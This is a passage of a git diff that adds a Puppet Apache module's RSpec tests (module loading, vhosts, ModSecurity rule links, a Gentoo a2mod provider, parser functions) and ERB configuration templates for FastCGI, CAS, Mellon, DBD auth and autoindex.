contain_file('spec_m.load').with({ + :path => '/usr/local/etc/apache24/Modules/spec_m.load', + :content => "LoadModule spec_m_module /usr/local/libexec/apache24/mod_spec_m.so\n", + :owner => 'root', + :group => 'wheel', + :mode => '0644', + } ) + end + end + end + + context "on a Gentoo osfamily" do + let :facts do + { + :osfamily => 'Gentoo', + :operatingsystem => 'Gentoo', + :operatingsystemrelease => '3.16.1-gentoo', + :concat_basedir => '/dne', + :id => 'root', + :kernel => 'Linux', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/opt/bin', + :is_pe => false, + } + end + + describe "for non-special modules" do + let :title do + 'spec_m' + end + it { is_expected.to contain_class("apache::params") } + it "should manage the module load file" do + is_expected.to contain_file('spec_m.load').with({ + :path => '/etc/apache2/modules.d/spec_m.load', + :content => "LoadModule spec_m_module /usr/lib/apache2/modules/mod_spec_m.so\n", + :owner => 'root', + :group => 'wheel', + :mode => '0644', + } ) + end + end + end +end diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/spec/defines/modsec_link_spec.rb b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/defines/modsec_link_spec.rb new file mode 100644 index 000000000..a5b4c5390 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/defines/modsec_link_spec.rb @@ -0,0 +1,53 @@ +require 'spec_helper' + +describe 'apache::security::rule_link', :type => :define do + let :pre_condition do + 'class { "apache": } + class { "apache::mod::security": activated_rules => [] } + ' + end + + let :title do + 'base_rules/modsecurity_35_bad_robots.data' + end + + context "on RedHat based systems" do + let :facts do + { + :osfamily => 'RedHat', + :operatingsystem => 'CentOS', + :operatingsystemrelease => '7', + :kernel => 'Linux', + :id => 'root', + :concat_basedir => '/', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :is_pe => false, + } + end + it { should contain_file('modsecurity_35_bad_robots.data').with( + :path => '/etc/httpd/modsecurity.d/activated_rules/modsecurity_35_bad_robots.data', + :target => '/usr/lib/modsecurity.d/base_rules/modsecurity_35_bad_robots.data' + ) } + end + + context "on Debian based systems" do + let :facts do + { + :osfamily => 'Debian', + :operatingsystem => 'Debian', + :operatingsystemrelease => '6', + :concat_basedir => '/', + :lsbdistcodename => 'squeeze', + :id => 'root', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :kernel => 'Linux', + :is_pe => false, + } + end + it { should contain_file('modsecurity_35_bad_robots.data').with( + :path => '/etc/modsecurity/activated_rules/modsecurity_35_bad_robots.data', + :target => '/usr/share/modsecurity-crs/base_rules/modsecurity_35_bad_robots.data' + ) } + end + +end diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/spec/defines/vhost_custom_spec.rb b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/defines/vhost_custom_spec.rb new file mode 100644 index 000000000..804be86b8 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/defines/vhost_custom_spec.rb @@ -0,0 +1,99 @@ +require 'spec_helper' + +describe 'apache::vhost::custom', :type => :define do + let :title do + 'rspec.example.com' + end + let :default_params do + { + :content => 'foobar' + } + end + describe 'os-dependent items' do + context "on RedHat based systems" do + let :default_facts do + { + :osfamily => 'RedHat', + :operatingsystemrelease => '6', + :operatingsystem => 'RedHat', + :concat_basedir => '/dne', + :id => 'root', + :kernel => 'Linux', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :is_pe => false, + } + end + let :params do default_params end + let :facts do default_facts end + end + context "on Debian based systems" do + let :default_facts do + { + :osfamily => 'Debian', + :operatingsystemrelease => '6', + :lsbdistcodename => 'squeeze', + :operatingsystem => 'Debian', + :concat_basedir => '/dne', + :id => 'root', + :kernel => 'Linux', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :is_pe => false, + } + end + let :params do default_params end + let :facts do default_facts end + it { is_expected.to contain_file("apache_rspec.example.com").with( + :ensure => 'present', + :content => 'foobar', + :path => '/etc/apache2/sites-available/25-rspec.example.com.conf', + ) } + it { is_expected.to contain_file("25-rspec.example.com.conf symlink").with( + :ensure => 'link', + :path => '/etc/apache2/sites-enabled/25-rspec.example.com.conf', + :target => '/etc/apache2/sites-available/25-rspec.example.com.conf' + ) } + end + context "on FreeBSD systems" do + let :default_facts do + { + :osfamily => 'FreeBSD', + :operatingsystemrelease => '9', + :operatingsystem => 'FreeBSD', + :concat_basedir => '/dne', + :id => 'root', + :kernel => 'FreeBSD', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :is_pe => false, + } + end + let :params do default_params end + let :facts do default_facts end + it { is_expected.to contain_file("apache_rspec.example.com").with( + :ensure => 'present', + :content => 'foobar', + :path => '/usr/local/etc/apache24/Vhosts/25-rspec.example.com.conf', + ) } + end + context "on Gentoo systems" do + let :default_facts do + { + :osfamily => 'Gentoo', + :operatingsystem => 'Gentoo', + :operatingsystemrelease => '3.16.1-gentoo', + :concat_basedir => '/dne', + :id => 'root', + :kernel => 'Linux', + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/opt/bin', + :is_pe => false, + } + end + let :params do default_params end + let :facts do default_facts end + it { is_expected.to contain_file("apache_rspec.example.com").with( + :ensure => 'present', + :content => 'foobar', + :path => '/etc/apache2/vhosts.d/25-rspec.example.com.conf', + ) } + end + end +end diff --git a/modules/services/unix/http/apache/spec/defines/vhost_spec.rb b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/defines/vhost_spec.rb similarity index 100% rename from modules/services/unix/http/apache/spec/defines/vhost_spec.rb rename to modules/services/unix/http/apache_wheezy_compatible/apache/spec/defines/vhost_spec.rb diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/spec/fixtures/files/negotiation.conf b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/fixtures/files/negotiation.conf new file mode 100644 index 000000000..c0bb8b9fd --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/fixtures/files/negotiation.conf @@ -0,0 +1,4 @@ +# This is a file only for spec testing + +LanguagePriority en ca cs da de el eo es et fr he hr it ja ko ltz nl nn no pl pt pt-BR ru sv zh-CN zh-TW +ForceLanguagePriority Prefer Fallback diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/spec/fixtures/files/spec b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/fixtures/files/spec new file mode 100644 index 000000000..76e9a1446 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/fixtures/files/spec @@ -0,0 +1 @@ +# This is a file only for spec testing diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/spec/fixtures/templates/negotiation.conf.erb b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/fixtures/templates/negotiation.conf.erb new file mode 100644 index 000000000..557502246 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/fixtures/templates/negotiation.conf.erb @@ -0,0 +1,4 @@ +# This is a template only for spec testing + +LanguagePriority en ca cs da de el eo es et fr he hr it ja ko ltz nl nn no pl pt pt-BR ru sv zh-CN zh-TW +ForceLanguagePriority Prefer Fallback diff --git a/modules/services/unix/http/apache/spec/spec.opts b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/spec.opts similarity index 100% rename from modules/services/unix/http/apache/spec/spec.opts rename to modules/services/unix/http/apache_wheezy_compatible/apache/spec/spec.opts diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/spec/spec_helper.rb b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/spec_helper.rb new file mode 100644 index 000000000..22d5d689f --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/spec_helper.rb @@ -0,0 +1,8 @@ +#This file is generated by ModuleSync, do not edit. +require 'puppetlabs_spec_helper/module_spec_helper' + +# put local configuration and setup into spec_helper_local +begin + require 'spec_helper_local' +rescue LoadError +end diff --git a/modules/services/unix/http/apache/spec/spec_helper_acceptance.rb b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/spec_helper_acceptance.rb similarity index 100% rename from modules/services/unix/http/apache/spec/spec_helper_acceptance.rb rename to modules/services/unix/http/apache_wheezy_compatible/apache/spec/spec_helper_acceptance.rb diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/spec/spec_helper_local.rb b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/spec_helper_local.rb new file mode 100644 index 000000000..d861a1c49 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/spec_helper_local.rb @@ -0,0 +1,39 @@ +RSpec.configure do |c| + c.before :each do + # Ensure that we don't accidentally cache facts and environment + # between test cases. + Facter::Util::Loader.any_instance.stubs(:load_all) + Facter.clear + Facter.clear_messages + end +end + +RSpec.configure do |config| + config.filter_run focus: true + config.run_all_when_everything_filtered = true + #as soon as psh is updated, the following line can be removed + config.mock_with :rspec +end + +shared_examples :compile, :compile => true do + it { should compile.with_all_deps } +end + +shared_examples 'a mod class, without including apache' do + let :facts do + { + :id => 'root', + :lsbdistcodename => 'squeeze', + :kernel => 'Linux', + :osfamily => 'Debian', + :operatingsystem => 'Debian', + :operatingsystemrelease => '6', + :operatingsystemmajrelease => nil, + :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', + :concat_basedir => '/dne', + :is_pe => false, + :hardwaremodel => 'x86_64', + } + end + it { should compile.with_all_deps } +end diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/spec/unit/apache_version_spec.rb b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/unit/apache_version_spec.rb new file mode 100644 index 000000000..2036449fd --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/unit/apache_version_spec.rb @@ -0,0 +1,33 @@ +require 'spec_helper' + +describe Facter::Util::Fact do + before do + Facter.clear + end + + describe 'apache_version' do + context 'with value' do + before :each do + expect(Facter::Util::Resolution).to receive(:which).with('apachectl') { true } + expect(Facter::Util::Resolution).to receive(:exec).with('apachectl -v 2>&1') {'Server version: Apache/2.4.16 (Unix) + Server built: Jul 31 2015 15:53:26'} + end + it do + expect(Facter.fact(:apache_version).value).to eq('2.4.16') + end + end + end + + describe 'apache_version with empty OS' do + context 'with value' do + before :each do + expect(Facter::Util::Resolution).to receive(:which).with('apachectl') { true } + expect(Facter::Util::Resolution).to receive(:exec).with('apachectl -v 2>&1') {'Server version: Apache/2.4.6 () + Server built: Nov 21 2015 05:34:59' } + end + it do + expect(Facter.fact(:apache_version).value).to eq('2.4.6') + end + end + end +end diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/spec/unit/provider/a2mod/gentoo_spec.rb b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/unit/provider/a2mod/gentoo_spec.rb new file mode 100644 index 000000000..1bccc94d1 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/unit/provider/a2mod/gentoo_spec.rb @@ -0,0 +1,182 @@ +require 'spec_helper' + +provider_class = Puppet::Type.type(:a2mod).provider(:gentoo) + +describe provider_class do + before :each do + provider_class.clear + end + + [:conf_file, :instances, :modules, :initvars, :conf_file, :clear].each do |method| + it "should respond to the class method #{method}" do + expect(provider_class).to respond_to(method) + end + end + + describe "when fetching modules" do + before do + @filetype = double() + end + + it "should return a sorted array of the defined parameters" do + expect(@filetype).to receive(:read) { %Q{APACHE2_OPTS="-D FOO -D BAR -D BAZ"\n} } + expect(provider_class).to receive(:filetype) { @filetype } + + expect(provider_class.modules).to eq(%w{bar baz foo}) + end + + it "should cache the module list" do + expect(@filetype).to receive(:read).once { %Q{APACHE2_OPTS="-D FOO -D BAR -D BAZ"\n} } + expect(provider_class).to receive(:filetype).once { @filetype } + + 2.times { expect(provider_class.modules).to eq(%w{bar baz foo}) } + end + + it "should normalize parameters" do + @filetype.expects(:read).returns(%Q{APACHE2_OPTS="-D FOO -D BAR -D BAR"\n}) + provider_class.expects(:filetype).returns(@filetype) + + expect(provider_class.modules).to eq(%w{bar foo}) + end + end + + describe "when prefetching" do + it "should match providers to resources" do + provider = double("ssl_provider", :name => "ssl") + resource = double("ssl_resource") + resource.expects(:provider=).with(provider) + + expect(provider_class).to receive(:instances) { [provider] } + provider_class.prefetch("ssl" => resource) + end + end + + describe "when flushing" do + before :each do + @filetype = double() + allow(@filetype).to receive(:backup) + allow(provider_class).to receive(:filetype).at_least(:once) { @filetype } + + @info = double() + allow(@info).to receive(:[]).with(:name) { "info" } + allow(@info).to receive(:provider=) + + @mpm = double() + allow(@mpm).to receive(:[]).with(:name) { "mpm" } + allow(@mpm).to receive(:provider=) + + @ssl = double() + allow(@ssl).to receive(:[]).with(:name) { "ssl" } + allow(@ssl).to receive(:provider=) + end + + it "should add modules whose ensure is present" do + expect(@filetype).to receive(:read).at_least(:once) { %Q{APACHE2_OPTS=""} } + expect(@filetype).to receive(:write).with(%Q{APACHE2_OPTS="-D INFO"}) + + allow(@info).to receive(:should).with(:ensure) { :present } + provider_class.prefetch("info" => @info) + + provider_class.flush + end + + it "should remove modules whose ensure is present" do + expect(@filetype).to receive(:read).at_least(:once) { %Q{APACHE2_OPTS="-D INFO"} } + expect(@filetype).to receive(:write).with(%Q{APACHE2_OPTS=""}) + + allow(@info).to receive(:should).with(:ensure) { :absent } + allow(@info).to receive(:provider=) + provider_class.prefetch("info" => @info) + + provider_class.flush + end + + it "should not modify providers without resources" do + expect(@filetype).to receive(:read).at_least(:once) { %Q{APACHE2_OPTS="-D INFO -D MPM"} } + expect(@filetype).to receive(:write).with(%Q{APACHE2_OPTS="-D MPM -D SSL"}) + + allow(@info).to receive(:should).with(:ensure) { :absent } + provider_class.prefetch("info" => @info) + + allow(@ssl).to receive(:should).with(:ensure) { :present } + provider_class.prefetch("ssl" => @ssl) + + provider_class.flush + end + + it "should write the modules in sorted order" do + expect(@filetype).to receive(:read).at_least(:once) { %Q{APACHE2_OPTS=""} } + expect(@filetype).to receive(:write).with(%Q{APACHE2_OPTS="-D INFO -D MPM -D SSL"}) + + allow(@mpm).to receive(:should).with(:ensure) { :present } + provider_class.prefetch("mpm" => @mpm) + allow(@info).to receive(:should).with(:ensure) { :present } + provider_class.prefetch("info" => @info) + allow(@ssl).to receive(:should).with(:ensure) { :present } + provider_class.prefetch("ssl" => @ssl) + + provider_class.flush + end + + it "should write the records back once" do + expect(@filetype).to receive(:read).at_least(:once) { %Q{APACHE2_OPTS=""} } + expect(@filetype).to receive(:write).once.with(%Q{APACHE2_OPTS="-D INFO -D SSL"}) + + allow(@info).to receive(:should).with(:ensure) { :present } + provider_class.prefetch("info" => @info) + + allow(@ssl).to receive(:should).with(:ensure) { :present } + provider_class.prefetch("ssl" => @ssl) + + provider_class.flush + end + + it "should only modify the line containing APACHE2_OPTS" do + expect(@filetype).to receive(:read).at_least(:once) { %Q{# Comment\nAPACHE2_OPTS=""\n# Another comment} } + expect(@filetype).to receive(:write).once.with(%Q{# Comment\nAPACHE2_OPTS="-D INFO"\n# Another comment}) + + allow(@info).to receive(:should).with(:ensure) { :present } + provider_class.prefetch("info" => @info) + provider_class.flush + end + + it "should restore any arbitrary arguments" do + expect(@filetype).to receive(:read).at_least(:once) { %Q{APACHE2_OPTS="-Y -D MPM -X"} } + expect(@filetype).to receive(:write).once.with(%Q{APACHE2_OPTS="-Y -X -D INFO -D MPM"}) + + allow(@info).to receive(:should).with(:ensure) { :present } + provider_class.prefetch("info" => @info) + provider_class.flush + end + + it "should backup the file once if changes were made" do + expect(@filetype).to receive(:read).at_least(:once) { %Q{APACHE2_OPTS=""} } + expect(@filetype).to receive(:write).once.with(%Q{APACHE2_OPTS="-D INFO -D SSL"}) + + allow(@info).to receive(:should).with(:ensure) { :present } + provider_class.prefetch("info" => @info) + + allow(@ssl).to receive(:should).with(:ensure) { :present } + provider_class.prefetch("ssl" => @ssl) + + @filetype.unstub(:backup) + @filetype.expects(:backup) + provider_class.flush + end + + it "should not write the file or run backups if no changes were made" do + expect(@filetype).to receive(:read).at_least(:once) { %Q{APACHE2_OPTS="-X -D INFO -D SSL -Y"} } + expect(@filetype).to receive(:write).never + + allow(@info).to receive(:should).with(:ensure) { :present } + provider_class.prefetch("info" => @info) + + allow(@ssl).to receive(:should).with(:ensure) { :present } + provider_class.prefetch("ssl" => @ssl) + + @filetype.unstub(:backup) + @filetype.expects(:backup).never + provider_class.flush + end + end +end diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/spec/unit/puppet/parser/functions/bool2httpd_spec.rb b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/unit/puppet/parser/functions/bool2httpd_spec.rb new file mode 100644 index 000000000..19d35e592 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/unit/puppet/parser/functions/bool2httpd_spec.rb @@ -0,0 +1,53 @@ +require 'spec_helper' + +describe "the bool2httpd function" do + let(:scope) { PuppetlabsSpec::PuppetInternals.scope } + + it "should exist" do + expect(Puppet::Parser::Functions.function("bool2httpd")).to eq("function_bool2httpd") + end + + it "should raise a ParseError if there is less than 1 arguments" do + expect { scope.function_bool2httpd([]) }.to( raise_error(Puppet::ParseError)) + end + + it "should convert true to 'On'" do + result = scope.function_bool2httpd([true]) + expect(result).to(eq('On')) + end + + it "should convert true to a string" do + result = scope.function_bool2httpd([true]) + expect(result.class).to(eq(String)) + end + + it "should convert false to 'Off'" do + result = scope.function_bool2httpd([false]) + expect(result).to(eq('Off')) + end + + it "should convert false to a string" do + result = scope.function_bool2httpd([false]) + expect(result.class).to(eq(String)) + end + + it "should accept (and return) any string" do + result = scope.function_bool2httpd(["mail"]) + expect(result).to(eq('mail')) + end + + it "should accept a nil value (and return Off)" do + result = scope.function_bool2httpd([nil]) + expect(result).to(eq('Off')) + end + + it "should accept an undef value (and return 'Off')" do + result = scope.function_bool2httpd([:undef]) + expect(result).to(eq('Off')) + end + + it "should return a default value on non-matches" do + result = scope.function_bool2httpd(['foo']) + expect(result).to(eq('foo')) + end +end diff --git a/modules/services/unix/http/apache/spec/unit/puppet/parser/functions/enclose_ipv6_spec.rb b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/unit/puppet/parser/functions/enclose_ipv6_spec.rb similarity index 100% rename from modules/services/unix/http/apache/spec/unit/puppet/parser/functions/enclose_ipv6_spec.rb rename to modules/services/unix/http/apache_wheezy_compatible/apache/spec/unit/puppet/parser/functions/enclose_ipv6_spec.rb diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/spec/unit/puppet/parser/functions/validate_apache_log_level.rb b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/unit/puppet/parser/functions/validate_apache_log_level.rb new file mode 100644 index 000000000..dfef66eea --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/spec/unit/puppet/parser/functions/validate_apache_log_level.rb @@ -0,0 +1,39 @@ +#! /usr/bin/env ruby -S rspec +require 'spec_helper' + +describe "the validate_apache_log_level function" do + let(:scope) { PuppetlabsSpec::PuppetInternals.scope } + + it "should exist" do + expect(Puppet::Parser::Functions.function("validate_apache_log_level")).to eq("function_validate_apache_log_level") + end + + it "should raise a ParseError if there is less than 1 arguments" do + expect { scope.function_validate_apache_log_level([]) }.to( raise_error(Puppet::ParseError) ) + end + + it "should raise a ParseError when given garbage" do + expect { scope.function_validate_apache_log_level(['garbage']) }.to( raise_error(Puppet::ParseError) ) + end + + it "should not raise a ParseError when given a plain log level" do + expect { scope.function_validate_apache_log_level(['info']) }.to_not raise_error + end + + it "should not raise a ParseError when given a log level and module log level" do + expect { scope.function_validate_apache_log_level(['warn ssl:info']) }.to_not raise_error + end + + it "should not raise a ParseError when given a log level and module log level" do + expect { scope.function_validate_apache_log_level(['warn mod_ssl.c:info']) }.to_not raise_error + end + + it "should not raise a ParseError when given a log level and module log level" do + expect { scope.function_validate_apache_log_level(['warn ssl_module:info']) }.to_not raise_error + end + + it "should not raise a ParseError when given a trace level" do + expect { scope.function_validate_apache_log_level(['trace4']) }.to_not raise_error + end + +end diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/templates/confd/no-accf.conf.erb b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/confd/no-accf.conf.erb new file mode 100644 index 000000000..10e51644c --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/confd/no-accf.conf.erb @@ -0,0 +1,4 @@ + + AcceptFilter http none + AcceptFilter https none + diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/templates/fastcgi/server.erb b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/fastcgi/server.erb new file mode 100644 index 000000000..bae56d48e --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/fastcgi/server.erb @@ -0,0 +1,22 @@ +<% + timeout = " -idle-timeout #{@timeout}" + flush = "" + if @flush + flush = " -flush" + end + if @socket + host_or_socket = " -socket #{@socket}" + else + host_or_socket = " -host #{@host}" + end + + pass_header = "" + if @pass_header and ! @pass_header.empty? + pass_header = " -pass-header #{@pass_header}" + end + + options = timeout + flush + host_or_socket + pass_header +-%> +FastCGIExternalServer <%= @faux_path %><%= options %> +Alias <%= @fcgi_alias %> <%= @faux_path %> +Action <%= @file_type %> <%= @fcgi_alias %> diff --git a/modules/services/unix/http/apache/templates/httpd.conf.erb b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/httpd.conf.erb similarity index 100% rename from modules/services/unix/http/apache/templates/httpd.conf.erb rename to modules/services/unix/http/apache_wheezy_compatible/apache/templates/httpd.conf.erb diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/templates/listen.erb b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/listen.erb new file mode 100644 index 000000000..8fc871b0a --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/listen.erb @@ -0,0 +1,6 @@ +<%# Listen should always be one of: + - + - : + - [ +-%> +Listen <%= @listen_addr_port %> diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/templates/mod/alias.conf.erb b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/mod/alias.conf.erb new file mode 100644 index 000000000..8580f707c --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/mod/alias.conf.erb @@ -0,0 +1,13 @@ + +Alias /icons/ "<%= @icons_path %>/" +"> + Options <%= @icons_options %> + AllowOverride None +<%- if scope.function_versioncmp([@_apache_version, '2.4']) >= 0 -%> + Require all granted +<%- else -%> + Order allow,deny + Allow from all +<%- end -%> + + diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/templates/mod/auth_cas.conf.erb b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/mod/auth_cas.conf.erb new file mode 100644 index 000000000..b59c5357f --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/mod/auth_cas.conf.erb @@ -0,0 +1,58 @@ +CASCookiePath <%= @cas_cookie_path %> +CASLoginURL <%= @cas_login_url %> +CASValidateURL <%= @cas_validate_url %> + +CASVersion <%= @cas_version %> +CASDebug <%= @cas_debug %> + +<% if @cas_certificate_path -%> +CASCertificatePath <%= @cas_certificate_path %> +<% end -%> +<% if @cas_proxy_validate_url -%> +CASProxyValidateURL <%= @cas_proxy_validate_url %> +<% end -%> +<% if @cas_validate_server -%> +CASValidateServer <%= @cas_validate_server %> +<% end -%> +<% if @cas_validate_depth -%> +CASValidateDepth <%= @cas_validate_depth %> +<% end -%> +<% if @cas_root_proxied_as -%> +CASRootProxiedAs <%= @cas_root_proxied_as %> +<% end -%> +<% if @cas_cookie_entropy -%> +CASCookieEntropy <%= @cas_cookie_entropy %> +<% end -%> +<% if @cas_timeout -%> +CASTimeout <%= @cas_timeout %> +<% end -%> +<% if @cas_idle_timeout -%> +CASIdleTimeout <%= @cas_idle_timeout %> +<% end -%> +<% if @cas_cache_clean_interval -%> +CASCacheCleanInterval <%= @cas_cache_clean_interval %> +<% end -%> +<% if @cas_cookie_domain -%> +CASCookieDomain <%= @cas_cookie_domain %> +<% end -%> +<% if @cas_cookie_http_only -%> +CASCookieHttpOnly <%= @cas_cookie_http_only %> +<% end -%> +<% if @cas_authoritative -%> +CASAuthoritative <%= @cas_authoritative %> +<% end -%> +<%- if @cas_sso_enabled -%> +CASSSOEnabled On +<%- end -%> +<%- if @cas_validate_saml -%> +CASValidateSAML On +<%- end -%> +<%- if @cas_attribute_prefix -%> +CASAttributePrefix <%= @cas_attribute_prefix %> +<%- end -%> +<%- if @cas_attribute_delimiter -%> +CASAttributeDelimiter <%= @cas_attribute_delimiter %> +<%- end -%> +<%- if @cas_scrub_request_headers -%> +CASAttributeDelimiter On +<%- end -%> diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/templates/mod/auth_mellon.conf.erb b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/mod/auth_mellon.conf.erb new file mode 100644 index 000000000..e36a73390 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/mod/auth_mellon.conf.erb @@ -0,0 +1,21 @@ +<%- if @mellon_cache_size -%> +MellonCacheSize <%= @mellon_cache_size %> +<%- end -%> +<%- if @mellon_cache_entry_size -%> +MellonCacheEntrySize <%= @mellon_cache_entry_size %> +<%- end -%> +<%- if @mellon_lock_file -%> +MellonLockFile "<%= @mellon_lock_file %>" +<%- end -%> +<%- if @mellon_post_directory -%> +MellonPostDirectory "<%= @mellon_post_directory %>" +<%- end -%> +<%- if @mellon_post_ttl -%> +MellonPostTTL <%= @mellon_post_ttl %> +<%- end -%> +<%- if @mellon_post_size -%> +MellonPostSize <%= @mellon_post_size %> +<%- end -%> +<%- if @mellon_post_count -%> +MellonPostCount <%= @mellon_post_count %> +<%- end -%> diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/templates/mod/authn_dbd.conf.erb b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/mod/authn_dbd.conf.erb new file mode 100644 index 000000000..e04fb3ec4 --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/mod/authn_dbd.conf.erb @@ -0,0 +1,17 @@ +#Database Management +DBDriver <%= @authn_dbd_dbdriver %> + +#Connection string: database name and login credentials +DBDParams "<%= @authn_dbd_params %>" + +#Parameters for Connection Pool Management +DBDMin <%= @authn_dbd_min %> +DBDMax <%= @authn_dbd_max %> +DBDKeep <%= @authn_dbd_keep %> +DBDExptime <%= @authn_dbd_exptime %> + +<%- if @authn_dbd_alias -%> +> + AuthDBDUserPWQuery "<%= @authn_dbd_query %>" + +<%- end -%> diff --git a/modules/services/unix/http/apache/templates/mod/authnz_ldap.conf.erb b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/mod/authnz_ldap.conf.erb similarity index 100% rename from modules/services/unix/http/apache/templates/mod/authnz_ldap.conf.erb rename to modules/services/unix/http/apache_wheezy_compatible/apache/templates/mod/authnz_ldap.conf.erb diff --git a/modules/services/unix/http/apache_wheezy_compatible/apache/templates/mod/autoindex.conf.erb b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/mod/autoindex.conf.erb new file mode 100644 index 000000000..ef6bbebea --- /dev/null +++ b/modules/services/unix/http/apache_wheezy_compatible/apache/templates/mod/autoindex.conf.erb @@ -0,0 +1,56 @@ +IndexOptions FancyIndexing VersionSort HTMLTable NameWidth=* DescriptionWidth=* Charset=UTF-8 +AddIconByEncoding (CMP,/icons/compressed.gif) x-compress x-gzip x-bzip2 + +AddIconByType (TXT,/icons/text.gif) text/* +AddIconByType (IMG,/icons/image2.gif) image/* +AddIconByType (SND,/icons/sound2.gif) audio/* +AddIconByType (VID,/icons/movie.gif) video/* + +AddIcon /icons/binary.gif .bin .exe +AddIcon /icons/binhex.gif .hqx +AddIcon /icons/tar.gif .tar +AddIcon /icons/world2.gif .wrl .wrl.gz .vrml .vrm .iv +AddIcon /icons/compressed.gif .Z .z .tgz .gz .zip +AddIcon /icons/a.gif .ps .ai .eps +AddIcon /icons/layout.gif .html .shtml .htm .pdf +AddIcon /icons/text.gif .txt +AddIcon /icons/c.gif .c +AddIcon /icons/p.gif .pl .py +AddIcon /icons/f.gif .for +AddIcon /icons/dvi.gif .dvi +AddIcon /icons/uuencoded.gif .uu +AddIcon /icons/script.gif .conf .sh .shar .csh .ksh .tcl +AddIcon /icons/tex.gif .tex +AddIcon /icons/bomb.gif /core +AddIcon (SND,/icons/sound2.gif) .ogg +AddIcon (VID,/icons/movie.gif) .ogm + +AddIcon /icons/back.gif .. +AddIcon /icons/hand.right.gif README +AddIcon /icons/folder.gif ^^DIRECTORY^^ +AddIcon /icons/blank.gif ^^BLANKICON^^ + +AddIcon /icons/odf6odt-20x22.png .odt +AddIcon /icons/odf6ods-20x22.png .ods +AddIcon /icons/odf6odp-20x22.png .odp +AddIcon /icons/odf6odg-20x22.png .odg +AddIcon /icons/odf6odc-20x22.png .odc +AddIcon /icons/odf6odf-20x22.png .odf +AddIcon /icons/odf6odb-20x22.png .odb +AddIcon /icons/odf6odi-20x22.png .odi +AddIcon /icons/odf6odm-20x22.png .odm + +AddIcon /icons/odf6ott-20x22.png .ott +AddIcon /icons/odf6ots-20x22.png .ots +AddIcon /icons/odf6otp-20x22.png .otp +AddIcon /icons/odf6otg-20x22.png .otg +AddIcon /icons/odf6otc-20x22.png .otc +AddIcon /icons/odf6otf-20x22.png .otf +AddIcon /icons/odf6oti-20x22.png .oti +AddIcon /icons/odf6oth-20x22.png .oth + +DefaultIcon /icons/unknown.gif +ReadmeName README.html +HeaderName HEADER.html + +IndexIgnore .??* *~ *# HEADER* README* RCS CVS *,v *,t diff --git 